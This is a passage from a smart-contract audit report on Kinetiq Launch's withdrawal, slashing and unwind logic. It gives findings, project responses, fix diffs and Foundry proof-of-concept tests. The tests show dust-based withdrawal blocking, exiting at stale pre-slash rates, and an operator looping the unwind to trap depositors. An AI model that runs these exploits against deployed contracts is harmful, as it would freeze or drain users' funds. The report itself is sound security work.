"@kinetiq/launch/src/interfaces/IEXManager.sol";
import {IGlobalConfig} from
"@kinetiq/launch/src/interfaces/IGlobalConfig.sol";
import {IStakingManagerState} from
"@kinetiq/launch/src/interfaces/IStakingManagerState.sol";

/// @notice PoC for: unqueueable LIVE withdrawal dust blocks the BWQ
fallback.
///
/// The test uses the real factory deployment path.  After a valid
oracle slashing report makes
/// 1 wei of ghost LST worth 0 wei of HYPE, an ordinary holder
withdraws almost all immediate
/// capacity and leaves a 1-share/1-ghost dust fragment.  A later
LIVE withdrawal that should route
/// its residual shares into the BlockedWithdrawalQueue instead
reverts while trying to queue that
/// unqueueable immediate dust, so no FIFO blocked-withdrawal
position is created.
contract PoC_UnqueueableLiveWithdrawalDust is EXFactoryTest {
    using MessageHashUtils for bytes32;

    Vm.Wallet internal pocWalletAdmin = vm.createWallet("poc wallet
admin");
    address internal attacker = makeAddr("dust attacker");
    address internal victim = makeAddr("dust victim");
    address internal funder = makeAddr("large market funder");
    address internal exWallet = makeAddr("hip3 api wallet");

    function
```

```
test_PoC_unqueueableDustPreventsBlockedWithdrawalRouting() public
fork {
        IEXFactory.MarketParams memory params =
_defaultMarketParams();
        (bytes32 marketId, address exManagerAddr) =
_deployMarketAsDeployer(factory, params);

        IEXFactory.MarketContracts memory contracts_ =
factory.getMarketContracts(marketId);
        EXManager exManager_ = EXManager(payable(exManagerAddr));
        EXLST exLST_ = EXLST(contracts_.exLST);
        StakingAccountant accountant =
StakingAccountant(contracts_.stakingAccountant);
        ValidatorManager validatorManager =
ValidatorManager(contracts_.validatorManager);
        BlockedWithdrawalQueue bwq =
BlockedWithdrawalQueue(payable(contracts_.bwq));

        // Full realistic lifecycle: activate the per-market
HyperCore account, bond escrowed HYPE,
        // accept user funding, then launch with a wallet-admin EIP-
712 signature.
        _activateMarketViaUSDH(IEXManager(exManagerAddr), deployer);
        _bondMarketAsDeployer(factory, marketId);

        _deposit(exManager_, funder, 500_000 ether);
        _deposit(exManager_, attacker, 10_000 ether);
        _deposit(exManager_, victim, 1_000 ether);

        vm.prank(marketOperator);
        exManager_.fund();
        _setKnownWalletAdminAndLaunch(exManager_);
        assertEq(uint256(exManager_.exPhase()),
uint256(IEXManager.EXPhase.LIVE), "market is LIVE");
        assertEq(

IStakingManagerState(contracts_.router).minWithdrawalAmount(),
            0,
            "factory leaves router minWithdrawalAmount at default
zero"
        );

        // A legitimate slashing report moves the market near, but
still above, its LIVE floor.
        // The ratio remains below 1, so a single ghost-LST wei
converts to zero HYPE.
        IGlobalConfig.MarketTier memory tier =
globalConfig.marketTiers(1);
        uint256 reservesBeforeSlash =
```

```
IERC20(contracts_.ghostLST).balanceOf(exManagerAddr);
        uint256 valueBeforeSlash =
accountant.kHYPEToHYPE(reservesBeforeSlash);
        uint256 targetExcess = 100 ether;
        vm.prank(contracts_.oracleManager);
        validatorManager.reportSlashingEvent(params.validator,
valueBeforeSlash - tier.minHypeStake - targetExcess);

        assertEq(accountant.kHYPEToHYPE(1), 0, "1 ghost wei is
unqueueable after slashing");
        assertGt(exManager_.availableWithdrawals(), 1, "there is
ordinary immediate capacity before dust shaping");

        // Permissionless dust shaping: the attacker withdraws all
currently available shares except
        // one.  This is an ordinary withdrawal; it only pays normal
queueing costs and leaves BWQ empty.
        uint256 attackerWithdrawal =
exManager_.availableWithdrawals() - 1;
        vm.startPrank(attacker);
        exLST_.approve(exManagerAddr, attackerWithdrawal);
        exManager_.withdraw(attackerWithdrawal, attacker, "");
        vm.stopPrank();

        assertEq(bwq.totalBlockedQueue(), 0, "no blocked withdrawals
exist before victim exits");
        assertEq(exManager_.availableWithdrawals(), 1, "attacker
left one advertised withdrawable share");
        uint256 oneShareGhost =
IERC20(contracts_.ghostLST).balanceOf(exManagerAddr) /
exLST_.totalSupply();
        assertEq(oneShareGhost, 1, "one advertised share maps to one
ghost wei");
        assertEq(accountant.kHYPEToHYPE(oneShareGhost), 0, "the
advertised immediate leg queues 0 HYPE");

        // Impact: a non-attacker user attempts to exit.  The
residual should be routed into BWQ,
        // but EXManager tries the 1-ghost immediate leg first and
the underlying router reverts
        // because that leg has a zero-HYPE value.  The whole
transaction rolls back and no FIFO BWQ
        // position is created.
        uint256 victimShares = exLST_.balanceOf(victim);
        uint256 victimBalanceBefore = victim.balance;
        vm.startPrank(victim);
        exLST_.approve(exManagerAddr, victimShares);
        vm.expectRevert();
        exManager_.withdraw(victimShares, victim, "");
```

```
        vm.stopPrank();

        assertEq(exLST_.balanceOf(victim), victimShares, "victim
shares remain locked after revert");
        assertEq(victim.balance, victimBalanceBefore, "victim
receives no HYPE");
        assertEq(bwq.totalBlockedQueue(), 0, "no blocked-withdrawal
position was created");
        assertEq(exManager_.availableWithdrawals(), 1, "same dust
blocks every later exit attempt");
    }

    function _deposit(EXManager exManager_, address who, uint256
amount) internal {
        vm.deal(who, amount);
        vm.prank(who);
        exManager_.deposit{value: amount}(who, "");
    }

    function _setKnownWalletAdminAndLaunch(EXManager exManager_)
internal {
        vm.prank(configAdmin);
        globalConfig.setWalletAdmin(pocWalletAdmin.addr);

        IEXManager.WalletData memory wd = IEXManager.WalletData({
            exStakingManager:
address(exManager_.exStakingManager()),
            exWallet: exWallet,
            walletNonce: exManager_.walletNonce()
        });
        bytes32 structHash = keccak256(
            abi.encode(
                keccak256("WalletData(address
exStakingManager,address exWallet,uint256 walletNonce)"),
                wd.exStakingManager,
                wd.exWallet,
                wd.walletNonce
            )
        );
        bytes32 domainSeparator = keccak256(
            abi.encode(
                TYPE_HASH,
                keccak256(bytes("Kinetiq Launch: EXManager")),
                keccak256(bytes("1")),
                block.chainid,
                address(exManager_)
            )
        );
        bytes32 digest =
```

```
domainSeparator.toTypedDataHash(structHash);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(pocWalletAdmin,
digest);
        IEIP712Verifier.EIP712SignedData memory signedData =
            IEIP712Verifier.EIP712SignedData({data: abi.encode(wd),
signature: abi.encodePacked(r, s, v)});

        vm.prank(marketOperator);
        exManager_.launch(signedData);
    }
}
```

Command:

`MAINNET_RPC_URL=https://rpc.hypurrscan.io forge test --match-path test/PoC_UnqueueableLiveWithdrawalDust.t.sol --match-test test_PoC_unqueueableDustPreventsBlockedWithdrawalRouting -vv`

Impact:

The PoC passes and demonstrates a LIVE withdrawal DoS: after a valid slashing leaves one advertised immediate-withdrawal dust share worth 0 HYPE, a victim's normal EXManager.withdraw call reverts before residual shares can be routed into BlockedWithdrawalQueue. The victim keeps their EXLST locked, receives no HYPE, and no BWQ position is created.

COMMENTS

Project Team

Valid. Fixed in `bc3ac91` (part of PR #90). `_queueAvailableWithdrawals` now also skips the immediate leg when `ghostLstToWithdraw == 0` or the converted `hypeValue == 0` (post-slash rounding case), routing the full request to BWQ instead of reverting on `amount == 0` in Router.

Zero Cool

Fix Review Status: Resolved

Resolved in commit `df60d44`

- The root cause is removed in `_queueAvailableWithdrawals` : before burning EXLST or calling the Router, the current code now skips the immediate leg when `ghostLstToWithdraw == 0` , when it is below `minWithdrawalAmount` , or when `_LSTToHYPE(..., ghostLstToWithdraw) == 0` . This prevents the zero-HYPE dust path from reaching `QueuedWithdrawalFacet.queueWithdrawal()` /

`_withdrawFromValidator()` where it would revert, allowing the caller's request to fall through to BWQ routing instead.

M-04 Stale slashing accounting allows withdrawals to settle at pre-slash rates

Status: Acknowledged

Severity: Severity: Medium ≈ Impact: High × Likelihood: Low

Summary

Withdrawals can be confirmed at queue-time HYPE amounts during the window between a HIP-3 slashing event on HyperCore and the corresponding EVM oracle update. The overpayment draws from Router liquidity and shifts the unreported slash loss to remaining EXLST holders once the delayed slashing report is applied.

Description

`SlashingAwareWithdrawalFacet._processConfirmation()` caps each withdrawal at `min(originalHypeAmount, stakingAccountant.kHYPEToHYPE(request.kHYPEAmount))` to account for slashing that occurred after the request was queued. The recomputed value is derived from the current EVM `stakingAccountant` state, specifically the `totalSlashing` accumulator. When a HIP-3 slash has already reduced the true backing value on HyperCore but the EVM accountant has not yet been updated via the permissioned oracle report, `kHYPEToHYPE()` returns the stale pre-slash exchange rate. The minimum operation becomes ineffective, and `_processConfirmation()` proceeds with the original queue-time amount.

`LSTPayments._confirmWithdrawal()` measures the native HYPE balance delta after calling `lstStakingManager.confirmWithdrawal(smid)` and treats that received amount as authoritative. When the Router has sufficient native HYPE—either from prior slash-adjusted withdrawals that left excess in the contract or from the L1 withdrawal return itself—the confirmation succeeds even though the received amount no longer reflects the reduced backing ratio.

`EXManager.confirmWithdrawal()` and `BlockedWithdrawalQueue.confirmBlockedWithdrawal()` apply fees and transfer HYPE to the withdrawing user based on the stale gross amount. The manual withdrawal pause flag checked by `_processConfirmation()` provides an

emergency circuit breaker, but confirmations remain open by default during the stale window. An actor with advance knowledge of a HIP-3 slashing event can position a queued withdrawal and confirm it before the EVM oracle update or pause transaction is applied, exiting at the pre-slash rate. The unreported slash is then socialized to remaining EXLST holders when the delayed slashing report updates `totalSlashing` .

Impact Explanation

A withdrawer can receive the full queue-time HYPE amount even though an unreported HIP-3 slash has reduced the true backing value. The overpayment is funded from Router native HYPE liquidity or excess retained from prior slash-adjusted withdrawals and is absorbed by remaining EXLST holders once the delayed slashing report is applied. The loss can be material for all withdrawals confirmed during the stale window, equal to the difference between the stale queue-time value and the true post-slash value.

Likelihood Explanation

Exploitation requires a real HIP-3 slash, an EVM accountant state that has not yet reflected it, a mature queued withdrawal, enough Router native HYPE to fund the stale payout, and no timely manual pause. These conditions are realistic protocol states rather than privileged test-only shortcuts, but they are uncommon and partly operationally mitigated by the existing pause mechanism.

Affected Code

src/facets/SlashingAwareWithdrawalFacet.sol:31-115

- `SlashingAwareWithdrawalFacet._processConfirmation()`
- `SlashingAwareWithdrawalFacet.batchConfirmWithdrawals()`
- `SlashingAwareWithdrawalFacet.batchConfirmWithdrawalsFor()`

src/base/LSTPayments.sol:80-96

- `LSTPayments._confirmWithdrawal()`

src/EXManager.sol:573-605

- `EXManager.confirmWithdrawal()`

src/BlockedWithdrawalQueue.sol:200-260, src/BlockedWithdrawalQueue.sol:340-382

- `BlockedWithdrawalQueue.confirmBlockedWithdrawal()`
- `BlockedWithdrawalQueue._confirmPartialWithdrawals()`

- `BlockedWithdrawalQueue._adjustForSlashing()`
- `BlockedWithdrawalQueue._confirmBatchWithdrawal()`

Recommendation

Introduce an on-chain freshness requirement before confirming withdrawals. One approach is to store the timestamp of the last slashing or performance oracle update in the staking accountant and require that timestamp to be within a configured SLA window relative to `block.timestamp` before `_processConfirmation()` proceeds. Alternatively, implement a fail-closed state after the oracle can become stale, requiring an explicit fresh report before confirmations resume. This ensures that the recomputed exchange rate used by `kHYPEToHYPE()` reflects any recent HIP-3 slashing events.

Keep the manual withdrawal pause as a secondary emergency control rather than the primary protection against stale-rate confirmations. The freshness gate should prevent confirmations during the stale window by default, with the pause available for operational intervention when the oracle update process experiences unexpected delays.

Proof-of-Concept

`test/PoC_StaleSlashing.t.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";
import {IStakingManager} from
"@kinetiq/lst/src/interfaces/IStakingManager.sol";
import {L1OperationsFacet} from
"@kinetiq/lst/src/facets/L1OperationsFacet.sol";
import {CoreWriter} from "@kinetiq/lst/src/lib/CoreWriter.sol";
import {MessageHashUtils} from
"@openzeppelin/contracts/utils/cryptography/MessageHashUtils.sol";
import {IEIP712Verifier} from
"@kinetiq/launch/src/interfaces/IEIP712Verifier.sol";
import {IEXManager} from
"@kinetiq/launch/src/interfaces/IEXManager.sol";

import {SlashingAwareWithdrawalFacetTest} from
"./facets/SlashingAwareWithdrawalFacet.t.sol";

/// @notice PoC for stale HIP-3 slashing reports: a matured
EXManager withdrawal can
///         settle at the pre-slash amount when the EVM slashing
```

```
oracle has not yet
///         reported, shifting the eventual slash loss to remaining
EXLST holders.
contract PoC_StaleSlashing is SlashingAwareWithdrawalFacetTest {
    address internal attacker = makeAddr("stale-slash-attacker");

    function test_PoC_EXManagerStaleSlashingOverpays() public {
        // The inherited harness expects the real USDC Circle vault
to exist on the fork.
        // Some public RPC snapshots used in CI do not retain that
code, while this PoC only
        // activates via USDH. Mock the one-time USDC metadata reads
so setup stays focused
        // on the vulnerable withdrawal path.
        vm.selectFork(forkID);
        vm.etch(0x3333333333333333333333333333333333333333,
address(new CoreWriter()).code);
        vm.mockCall(USDC_CORE_WALLET,
abi.encodeWithSignature("token()"), abi.encode(USDC));
        vm.mockCall(USDC, abi.encodeWithSignature("decimals()"),
abi.encode(uint8(6)));
        super.setupFork();

        _bondAndLaunchMarketWithoutTokenActivation();
        assertEq(uint256(exManager.exPhase()),
uint256(IEXManager.EXPhase.LIVE));

        // Build the Router's pooled native-HYPE precondition
through real protocol
        // entrypoints: an earlier withdrawal is slash-adjusted
after the oracle has
        // caught up, leaving its excess HYPE in the Router for
redelegation.
        _createRealRouterExcessFromPriorSlashing();

        // Attacker pre-positions a normal LIVE withdrawal before
the HIP-3 slash is
        // reflected by the EVM oracle/accountant.
        uint256 attackDeposit = 500 ether;
        vm.deal(attacker, attackDeposit);
        vm.prank(attacker);
        uint256 shares = exManager.deposit{value: attackDeposit}
(attacker, emptyData);

        vm.startPrank(attacker);
        exLST.approve(address(exManager), shares);
        (,, uint256 withdrawalId, uint256 blockedShares,) =
exManager.withdraw(shares, attacker, emptyData);
        vm.stopPrank();
```

```
        assertEq(blockedShares, 0, "PoC uses the regular,
immediately-queued withdrawal path");

        IEXManager.UserWithdrawal memory userWithdrawal =
exManager.userWithdrawals(attacker, withdrawalId);
        IStakingManager.WithdrawalRequest memory request =

IStakingManager(address(exStakingManager)).withdrawalRequests(addres
s(exManager), userWithdrawal.smid);

        // Ground truth: suppose HyperCore has slashed the market by
50%, but the
        // permissioned EVM slashing report is still stale. If the
report were fresh,
        // SlashingAwareWithdrawalFacet would cap this request near
50 HYPE gross.
        uint256 backingBeforeReport =
exStakingAccountant.totalStaked() +
exStakingAccountant.totalRewards()
            - exStakingAccountant.totalClaimed() -
exStakingAccountant.totalSlashing();
        uint256 delayedSlash = backingBeforeReport / 5;
        uint256 freshOracleGross =
            Math.mulDiv(request.kHYPEAmount, backingBeforeReport -
delayedSlash, exGhostLST.totalSupply());
        assertLt(freshOracleGross, request.hypeAmount, "fresh
slashing report would reduce payout");

        // Make the withdrawal mature. HyperCore returns the reduced
amount for the
        // still-unreported slash. The already-existing Router
excess makes the stale
        // full payout fundable and masks the
InsufficientNativeBalance failsafe.
        vm.prank(operator);

L1OperationsFacet(address(exStakingManager)).processL1Operations(0);
        vm.warp(block.timestamp + exStakingManager.withdrawalDelay()
+ 1);
        uint256 reducedL1Return = freshOracleGross;
        uint256 routerExcessBeforeReturn =
address(exStakingManager).balance;
        assertGe(
            routerExcessBeforeReturn,
            request.hypeAmount - reducedL1Return,
            "prior real Router excess should be enough to mask the
stale slash"
        );
        vm.deal(address(exStakingManager), routerExcessBeforeReturn
```

```
+ reducedL1Return);

        uint256 attackerBefore = attacker.balance;
        uint256 treasuryBefore = exTreasury.balance;

        // Because totalSlashing is still stale (zero), recomputed
== original and
        // the attacker exits at the pre-slash amount.
        (uint256 staleUserAmount, uint256 staleFee) =
exManager.confirmWithdrawal(withdrawalId, attacker);
        uint256 staleGrossPaid = staleUserAmount + staleFee;

        assertEq(attacker.balance - attackerBefore, staleUserAmount,
"attacker receives stale pre-slash payout");
        assertEq(exTreasury.balance - treasuryBefore, staleFee, "fee
is also charged on stale gross payout");
        assertApproxEqAbs(staleGrossPaid, request.hypeAmount, 2,
"gross payout used queue-time amount");
        assertGt(staleGrossPaid - freshOracleGross, 40 ether,
"attacker avoided most of the slash loss");

        // Later, the EVM oracle catches up. The remaining EXLST
holders now absorb
        // the delayed slash after the attacker has already exited
at the old rate.
        uint256 holderRateBeforeDelayedReport =
exManager.EXLSTToHYPE(1 ether);
        _reportSlashing(delayedSlash);
        uint256 holderRateAfterDelayedReport =
exManager.EXLSTToHYPE(1 ether);

        assertLt(holderRateAfterDelayedReport,
holderRateBeforeDelayedReport, "remaining holders absorb delayed
slash");
    }

    function _bondAndLaunchMarketWithoutTokenActivation() internal {
        // Activation is not relevant to the stale-slashing bug.
Mark the Router's
        // HyperCore account as visible so EXManager.bond() can
proceed without
        // relying on public-RPC availability of the real USDH token
contract.
        mockL1Read.setCoreUserExists(address(exStakingManager),
true);

        uint256 bondAmount = ((opBond * 11) / 10 / 1e10) * 1e10;
        _bondAsFactory(IEXManager(address(exManager)), bondAmount);
```

```
        // Bring the market above the tier floor and launch it,
mirroring the
        // inherited harness's normal lifecycle helper.
        uint256 target = minHypeStake + 10_000 ether;
        uint256 batchSize = (target / 10 / 1e10) * 1e10;
        for (uint256 i = 0; i < 12; i++) {
            address funder =
makeAddr(string(abi.encodePacked("funder", i)));
            vm.deal(funder, batchSize);
            vm.prank(funder);
            exManager.deposit{value: batchSize}(funder, emptyData);
        }

        vm.prank(operator);
        exManager.fund();

        IEXManager.WalletData memory wd = IEXManager.WalletData({
            exStakingManager: address(exStakingManager), exWallet:
exWallet, walletNonce: exManager.walletNonce()
        });
        bytes32 structHash = keccak256(
            abi.encode(
                keccak256("WalletData(address
exStakingManager,address exWallet,uint256 walletNonce)"),
                wd.exStakingManager,
                wd.exWallet,
                wd.walletNonce
            )
        );
        bytes32 domainSeparator = keccak256(
            abi.encode(
                TYPE_HASH,
                keccak256(bytes("Kinetiq Launch: EXManager")),
                keccak256(bytes("1")),
                block.chainid,
                address(exManager)
            )
        );
        bytes32 digest =
MessageHashUtils.toTypedDataHash(domainSeparator, structHash);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(walletAdmin,
digest);
        IEIP712Verifier.EIP712SignedData memory signedData =
            IEIP712Verifier.EIP712SignedData({data: abi.encode(wd),
signature: abi.encodePacked(r, s, v)});

        vm.prank(operator);
        exManager.launch(signedData);
    }
```

```
    function _createRealRouterExcessFromPriorSlashing() internal {
        address poolUser = makeAddr("prior-slash-withdrawer");
        uint256 poolDeposit = 1_000 ether;

        vm.deal(poolUser, poolDeposit);
        vm.prank(poolUser);
        uint256 poolShares = exManager.deposit{value: poolDeposit}
(poolUser, emptyData);

        vm.startPrank(poolUser);
        exLST.approve(address(exManager), poolShares);
        (,, uint256 poolWithdrawalId, uint256 blockedShares,) =
exManager.withdraw(poolShares, poolUser, emptyData);
        vm.stopPrank();
        assertEq(blockedShares, 0, "prior withdrawal should also use
regular path");

        IEXManager.UserWithdrawal memory poolWithdrawal =
exManager.userWithdrawals(poolUser, poolWithdrawalId);
        IStakingManager.WithdrawalRequest memory poolRequest =

IStakingManager(address(exStakingManager)).withdrawalRequests(addres
s(exManager), poolWithdrawal.smid);

        // A previously reported slash (within the market's large
headroom above the tier floor)
        // causes SlashingAwareWithdrawalFacet to pay this earlier
withdrawal less than the
        // queue-time amount, leaving the difference as native HYPE
in the Router.
        _reportSlashing(80_000 ether);

        vm.prank(operator);

L1OperationsFacet(address(exStakingManager)).processL1Operations(0);
        vm.warp(block.timestamp + exStakingManager.withdrawalDelay()
+ 1);
        vm.deal(address(exStakingManager),
address(exStakingManager).balance + poolRequest.hypeAmount);

        uint256 routerBalanceBefore =
address(exStakingManager).balance;
        exManager.confirmWithdrawal(poolWithdrawalId, poolUser);
        uint256 routerExcess = address(exStakingManager).balance;

        assertGt(routerExcess, 100 ether, "prior slash should leave
material real excess in Router");
        assertLt(routerExcess, routerBalanceBefore, "prior
```

```
confirmation should pay the adjusted withdrawal");
    }
}
```

Command:

```
forge test --match-path test/PoC_StaleSlashing.t.sol --match-contract PoC_StaleSlashing --match-test test_PoC_EXManagerStaleSlashingOverpays -vv
```

Impact:

The passing PoC shows a matured EXManager withdrawal settling at the stale pre-slash gross amount while EVM totalSlashing is not yet updated. After the delayed slash is reported, remaining holders' EXLST/HYPE rate drops, demonstrating loss socialization to non-withdrawing holders.

COMMENTS

Project Team

Valid. Acknowledged via operational runbook in `a8a4a51` (PR #90). Race window between HyperCore slash and EVM oracle report is bounded by `DefaultOracle.MIN_UPDATE_INTERVAL = 1 hour`. Operational response: `PROTOCOL_RECOVERY` pauses withdrawals via `setWithdrawalPaused` during the oracle-update window, per the F-19 emergency-pause procedure. An on-chain mandatory pause-on-slash-detection would couple oracle freshness to the withdrawal flow with cascading liveness effects on ordinary positive oracle updates.

M-05 Operator can block recovery wind-down by cycling voluntary unwind

Status Resolved

Severity Severity: Medium ≈ Impact: High × Likelihood: Low

Summary

A malicious market operator can indefinitely prevent recovery-driven wind-down by repeatedly cancelling and requeueing a voluntary unwind just before maturity. Because `forceUnwindPhase(true)` rejects any already-queued unwind regardless of initiator, and `forceUnwindPhase(false)` cannot cancel operator-initiated

unwinds, the recovery role has no takeover mechanism while the operator maintains this reset loop. In `LAUNCHING` this traps depositors whose withdrawals are phase-blocked.

Description

The unwind state machine allows the operator to queue a voluntary wind-down via `setUnwindPhase(true)`, which sets `unwindEligibleAt = block.timestamp + globalConfig.unwindDelay()` and leaves `protocolInitiatedUnwind = false`. While this timestamp is nonzero, `forceUnwindPhase(true)` always reverts with `UnwindAlreadyQueued` even when the queued unwind is operator-initiated. At the same time, `forceUnwindPhase(false)` explicitly rejects cancellation unless `protocolInitiatedUnwind == true`, so the recovery role cannot clear an operator-initiated queue. The operator can exploit this gap by calling `setUnwindPhase(false)` just before `unwindEligibleAt` matures and immediately calling `setUnwindPhase(true)` to reset the eligibility timestamp to a fresh `block.timestamp + unwindDelay`. This cycle can be repeated indefinitely, preventing recovery from forcing a non-cancellable protocol-initiated unwind.

In `LAUNCHING`, `withdraw()` rejects user redemptions because it only permits `FUNDING`, `LIVE`, and `WOUND_DOWN` phases. Users who deposited during `FUNDING` have accepted EXLST shares but cannot exit while the market remains in `LAUNCHING`. The operator can keep the market in this phase by maintaining the voluntary-unwind reset loop, and if needed the operator can bundle the cancellation and requeue in a single block to avoid timing windows. Recovery can finalize an operator-initiated unwind if it reaches maturity before the operator cancels it, but the operator controls cancellation timing and can reliably preempt that by resetting shortly before the deadline.

In `LIVE`, the same reset pattern can indefinitely delay a recovery-driven transition to `WOUND_DOWN`, preserving the active minimum-stake floor and BWQ constraints when recovery intended to remove them. The issue does not require compromise of protocol governance roles; it uses only normal per-market operator entrypoints and creates a protocol-level liveness failure over user funds.

Impact Explanation

A malicious market operator can indefinitely deny redemption to depositors in a `LAUNCHING` market because `withdraw()` is phase-blocked and recovery cannot reliably force terminal `WOUND_DOWN` state. Because `deposit()` remains allowed in `LAUNCHING`, the operator can continue accepting new deposits into a market whose exit path it controls. Non-attacker users' EXLST claims on the market's escrowed reserves become materially trapped. A responsive independent market admin may

replace the operator through `EXFactory.transferOperator()`, but if the admin is unavailable or aligned with the operator, the protocol recovery role has no internal takeover mechanism to restore the exit path. This is a per-market liveness and redemption failure rather than direct theft or protocol-wide insolvency.

Likelihood Explanation

The attack requires the permissioned per-market `OPERATOR_ROLE`, so likelihood is low under the privileged-actor rule. However, permissionless market operators are an explicit adversarial boundary, and once an operator is malicious the loop is cheap and uses normal entrypoints. A non-colluding market admin can revoke the operator, but if that admin is unresponsive or aligned, protocol recovery has no reliable takeover path.

Affected Code

src/EXManager.sol:324-355

- `setUnwindPhase()` - operator can cancel and requeue its own voluntary unwind at any time unless `protocolInitiatedUnwind == true`
- `forceUnwindPhase()` - rejects all already-queued unwinds before distinguishing initiator and cannot cancel operator-initiated unwinds
- `unwindEligibleAt` - eligibility timestamp that operator can reset indefinitely
- `protocolInitiatedUnwind` - flag that remains false for operator-initiated queues, blocking recovery override and cancellation

src/EXManager.sol:358-377

- `unwind()` - reverts `UnwindNotReady` when operator has reset the timestamp before maturity

src/EXManager.sol:483-571

- `deposit()` - continues accepting deposits in `LAUNCHING`
- `withdraw()` - rejects user redemptions in `LAUNCHING`, trapping depositors while operator maintains reset loop

Recommendation

Allow `RECOVERY_ROLE` to override an operator-initiated pending unwind so recovery-driven wind-down takes strict priority over voluntary operator wind-down. Modify `forceUnwindPhase(true)` to succeed when `unwindEligibleAt > 0` and `protocolInitiatedUnwind == false`, set `protocolInitiatedUnwind = true`, and preserve the existing eligibility timestamp or use `min(existingEligibleAt, block.timestamp + unwindDelay)` so recovery cannot extend users' wait. After

recovery overrides an operator-initiated unwind, keep operator cancellation forbidden. This preserves the voluntary unwind feature for cooperative operators while ensuring the emergency recovery path cannot be blocked by operator-controlled queue cycling.

```
  function forceUnwindPhase(bool isWindingDown) external
onlyRole(RECOVERY_ROLE) whenNotPaused {
      if (exPhase != EXPhase.FUNDING && exPhase != EXPhase.LAUNCHING
&& exPhase != EXPhase.LIVE) {
          revert Errors.InvalidPhase(uint256(exPhase));
      }
-     if (isWindingDown && unwindEligibleAt > 0) revert
Errors.UnwindAlreadyQueued();
+     // Recovery can override an operator-initiated pending unwind
+     if (isWindingDown && unwindEligibleAt > 0 &&
protocolInitiatedUnwind) revert Errors.UnwindAlreadyQueued();
      else if (!isWindingDown && unwindEligibleAt == 0) revert
Errors.UnwindNotQueued();

      if (!isWindingDown && !protocolInitiatedUnwind) revert
Errors.NotAuthorized();

+     // When taking over an operator-initiated queue, preserve or
shorten the existing timestamp
+     if (isWindingDown && unwindEligibleAt > 0) {
+         uint256 recoveryDeadline = block.timestamp +
globalConfig.unwindDelay();
+         unwindEligibleAt = unwindEligibleAt < recoveryDeadline ?
unwindEligibleAt : recoveryDeadline;
+     } else {
+         unwindEligibleAt = isWindingDown ? block.timestamp +
globalConfig.unwindDelay() : 0;
+     }
      protocolInitiatedUnwind = isWindingDown;
-     unwindEligibleAt = isWindingDown ? block.timestamp +
globalConfig.unwindDelay() : 0;
      emit UnwindPhaseSet(msg.sender, unwindEligibleAt,
isWindingDown, true);
  }
```

After this change, modify `setUnwindPhase(false)` to also reject cancellation when a recovery override has occurred:

```
  function setUnwindPhase(bool isWindingDown) external
onlyRole(OPERATOR_ROLE) whenNotPaused {
      if (exPhase != EXPhase.FUNDING && exPhase != EXPhase.LAUNCHING
```

```
&& exPhase != EXPhase.LIVE) {
          revert Errors.InvalidPhase(uint256(exPhase));
      }
      if (isWindingDown && unwindEligibleAt > 0) revert
Errors.UnwindAlreadyQueued();
      else if (!isWindingDown && unwindEligibleAt == 0) revert
Errors.UnwindNotQueued();

-     // operator cannot cancel a protocol-initiated unwind
      if (!isWindingDown && protocolInitiatedUnwind) revert
Errors.NotAuthorized();

      unwindEligibleAt = isWindingDown ? block.timestamp +
globalConfig.unwindDelay() : 0;
      emit UnwindPhaseSet(msg.sender, unwindEligibleAt,
isWindingDown, false);
  }
```

Proof-of-Concept

`test/PoC_UnwindQueueBlock.t.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {EXFactoryTest} from "./EXFactory.t.sol";
import {IEXFactory} from
"@kinetiq/launch/src/interfaces/IEXFactory.sol";
import {IEXManager} from
"@kinetiq/launch/src/interfaces/IEXManager.sol";
import {IProtocolRolesController} from
"@kinetiq/launch/src/interfaces/IProtocolRolesController.sol";
import {EXManager} from "@kinetiq/launch/src/EXManager.sol";
import {Errors} from "@kinetiq/launch/src/lib/Errors.sol";

/// @notice PoC: a malicious market operator can keep a LAUNCHING
market out of
///         WOUND_DOWN by occupying/cycling the voluntary unwind
queue, preventing
///         the protocol recovery role from taking over the wind-
down.
contract PoC_UnwindQueueBlock is EXFactoryTest {
    bytes private constant EMPTY_DATA = bytes("");

    function test_poc_operatorUnwindQueueBlocksRecoveryWindDown()
public fork {
        // Realistic setup: deploy through EXFactory, activate the
```

```
HyperCore account,
        // bond, accept a victim deposit, and advance to LAUNCHING.
LAUNCHING is the
        // critical phase because deposits have been accepted but
user withdrawals are
        // disallowed until the market goes LIVE or WOUND_DOWN.
        (bytes32 marketId, EXManager exMgr) =
_deployBondAndFundToLaunchingWithVictimDeposit();

        assertEq(uint256(exMgr.exPhase()),
uint256(IEXManager.EXPhase.LAUNCHING), "market is LAUNCHING");
        assertGt(exMgr.exLST().balanceOf(user), 0, "victim owns
redeemable EXLST shares");

        _assertVictimCannotExitWhileLaunching(exMgr);

        uint8 exMgrComponent =
uint8(IProtocolRolesController.Component.EXManager);

        // 1. Malicious market operator queues a voluntary unwind.
This sets
        //    unwindEligibleAt but does NOT mark it as protocol
initiated.
        vm.prank(marketOperator);
        exMgr.setUnwindPhase(true);
        uint256 firstEligibleAt = exMgr.unwindEligibleAt();
        assertGt(firstEligibleAt, block.timestamp, "operator unwind
queued");
        assertFalse(exMgr.protocolInitiatedUnwind(), "operator queue
is not protocol initiated");

        // 2. Protocol recovery cannot force-take-over the pending
operator queue.
        vm.prank(protocolRecoveryEOA);
        vm.expectRevert(Errors.UnwindAlreadyQueued.selector);
        protocolRolesController.execute(
            marketId, exMgrComponent,
abi.encodeCall(IEXManager.forceUnwindPhase, (true))
        );

        // It also cannot cancel the operator-initiated queue
because cancellation is
        // reserved to the initiator class.
        vm.prank(protocolRecoveryEOA);
        vm.expectRevert(Errors.NotAuthorized.selector);
        protocolRolesController.execute(
            marketId, exMgrComponent,
abi.encodeCall(IEXManager.forceUnwindPhase, (false))
        );
```

```
        // 3. Just before the queued unwind matures, the malicious
operator cancels
        //    and immediately requeues. This cheaply resets the
eligibility timestamp.
        vm.warp(firstEligibleAt - 1);
        vm.prank(marketOperator);
        exMgr.setUnwindPhase(false);
        assertEq(exMgr.unwindEligibleAt(), 0, "operator cancelled
its own queue");

        vm.prank(marketOperator);
        exMgr.setUnwindPhase(true);
        uint256 resetEligibleAt = exMgr.unwindEligibleAt();
        assertGt(resetEligibleAt, firstEligibleAt, "operator reset
the recovery deadline");
        assertFalse(exMgr.protocolInitiatedUnwind(), "reset queue is
still operator initiated");

        // 4. At the original recovery deadline, protocol recovery
still cannot put
